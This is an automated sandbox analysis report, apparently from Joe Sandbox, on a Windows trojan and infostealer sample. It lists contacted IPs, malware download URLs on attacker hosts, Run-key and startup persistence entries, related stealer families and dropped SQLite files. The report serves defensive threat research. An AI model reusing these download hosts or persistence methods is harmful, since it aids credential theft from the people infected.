https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dlladf523b719729.php	0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	24da741fb6.exe, 0000000B.00000003.2562607971.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000020.00000003.2884647850.00000253EF99E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3341541081.00000253EF99E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll_s.	0d8313073f.exe, 0000000D.00000002.2940306745.0000000001615000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#-	firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2685688622.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2744719723.00000253F454B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://wasni.care/panel/uploads/Fwkdsz.exe)	skotes.exe, 00000006.00000002.2934737174.0000000001594000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/2152978/23354	Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/appId	firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 00000020.00000003.2757294999.00000253EE9D3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/ware	0d8313073f.exe, 0000000D.00000002.2922718430.000000000087E000.00000040.00000001.01000000.0000000D.sdmp	false		unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000020.00000003.2789703011.00000253F4531000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2820751925.00000253F4533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2754762057.00000253F452D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2749775963.00000253F452B000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
208.109.77.116	wasni.care	United States	30148	SUCURI-SECUS	false
216.58.212.164	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.110	youtube.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547313
Start date and time:	2024-11-02 07:14:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@69/56@31/15
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 199.232.210.172, 192.229.221.95, 13.95.31.18, 20.3.187.198, 20.242.39.171, 20.12.23.50, 20.109.210.53, 184.28.90.27, 216.58.212.131, 142.250.181.238, 74.125.71.84, 34.104.35.123, 35.160.212.113, 52.11.191.138, 54.185.230.140
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, ocsp.digicert.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, location.services.mozilla.com
Execution Graph export aborted for target 24da741fb6.exe, PID 1236 because there are no executed function
Execution Graph export aborted for target Fwkdsz.exe, PID 1748 because it is empty
Execution Graph export aborted for target file.exe, PID 6780 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1720 because it is empty
Execution Graph export aborted for target skotes.exe, PID 3220 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4192 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:16:01	API Interceptor	925x Sleep call for process: skotes.exe modified
02:16:09	API Interceptor	19x Sleep call for process: Fwkdsz.exe modified
02:16:13	API Interceptor	16x Sleep call for process: powershell.exe modified
02:16:17	API Interceptor	20x Sleep call for process: 24da741fb6.exe modified
02:16:34	API Interceptor	2x Sleep call for process: svchost.exe modified
02:16:55	API Interceptor	24x Sleep call for process: 0d8313073f.exe modified
06:14:56	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
06:16:19	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs
06:16:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 24da741fb6.exe C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe
06:16:52	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0d8313073f.exe C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
06:17:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 203f60e481.exe C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe
06:17:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8a0ff7e068.exe C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	frhHPUTyEV.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	xJZvlpVpkx.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
208.109.77.116	file.exe	Get hash	malicious	Unknown	Browse	wasni.care/panel/uploads/Luvzkkz.mp4
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
contile.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://dareka4te.shop	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://predictiveanalyticsgroup.formstack.com/forms/i_am_not_a_robot	Get hash	malicious	Unknown	Browse	13.107.246.45
	SecuriteInfo.com.Win32.Evo-gen.2279.7595.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Txwd 4063517991 djxjdlxmbk.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	SecuriteInfo.com.Trojan.KillProc2.23792.25322.26057.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	kC3x9xfqbq.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	FYaypDdV88.exe	Get hash	malicious	Remcos	Browse	13.107.246.45
fp2e7a.wpc.phicdn.net	file.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://168.63.129.16:32526/vmSettings	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://www.thexe.afatydfe.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://predictiveanalyticsgroup.formstack.com/forms/i_am_not_a_robot	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Win32.Evo-gen.2279.7595.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.KillProc2.23792.25322.26057.exe	Get hash	malicious	RedLine	Browse	192.229.221.95
	CCSetup.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	CCSetup.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.blockchain.com/explorer	Get hash	malicious	Xmrig	Browse	192.229.221.95
	https://secure.2checkout.com/affiliate.php?ACCOUNT=LANTECHS&AFFILIATE=120043&PATH=https%3A%2F%2FV0F5F.apexstructural.co	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	1L7idYQBsL.exe	Get hash	malicious	Amadey	Browse	185.215.113.217
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	185.215.113.217
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
SUCURI-SECUS	file.exe	Get hash	malicious	Unknown	Browse	208.109.77.116
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	192.124.249.20
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse	192.124.249.18
	4ui8luUSNp.exe	Get hash	malicious	Coinhive, Xmrig	Browse	192.124.249.110
	https://nftexpodubai.com/fwyttw/wp.php/	Get hash	malicious	Unknown	Browse	208.109.28.149
	http://www.nftexpodubai.com/fwyttw/wp.php	Get hash	malicious	Unknown	Browse	208.109.28.149
	http://www.institutoitf.cl/nn/	Get hash	malicious	HTMLPhisher	Browse	208.109.34.65
	https://legaled.academy/sigh/General%202024/index.html#nope@eatmyass.com	Get hash	malicious	HTMLPhisher	Browse	208.109.34.65
	https://hertz.ltschat.com/agreements/2024/374254694/83f692c28cf148305c07add225ccfb39	Get hash	malicious	Unknown	Browse	192.124.249.83
	http://metaamaskwallet.github.io/	Get hash	malicious	Unknown	Browse	192.124.249.111
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	1L7idYQBsL.exe	Get hash	malicious	Amadey	Browse	185.215.113.217
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	185.215.113.217
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45
	http://168.63.129.16:32526/vmSettings	Get hash	malicious	Unknown	Browse	13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	ICBM.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	https://dareka4te.shop	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.45
	cPds84vxfC.exe	Get hash	malicious	LummaC, AveMaria, LummaC Stealer, UACMe	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	IeWKO5DhLJ.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	cPds84vxfC.exe	Get hash	malicious	LummaC, AveMaria, LummaC Stealer, UACMe	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	czxw4iVMHJ.exe	Get hash	malicious	Stealc, Vidar	Browse
	JHPvqMzKbz.exe	Get hash	malicious	Vidar	Browse
	lkIbbNB9ba.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	o3QbCA4xLs.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	czxw4iVMHJ.exe	Get hash	malicious	Stealc, Vidar	Browse
	JHPvqMzKbz.exe	Get hash	malicious	Vidar	Browse
	F2Y5tbGngK.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	o3QbCA4xLs.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFBKFHIDHIIJJKECGHCF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFIJEHCB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
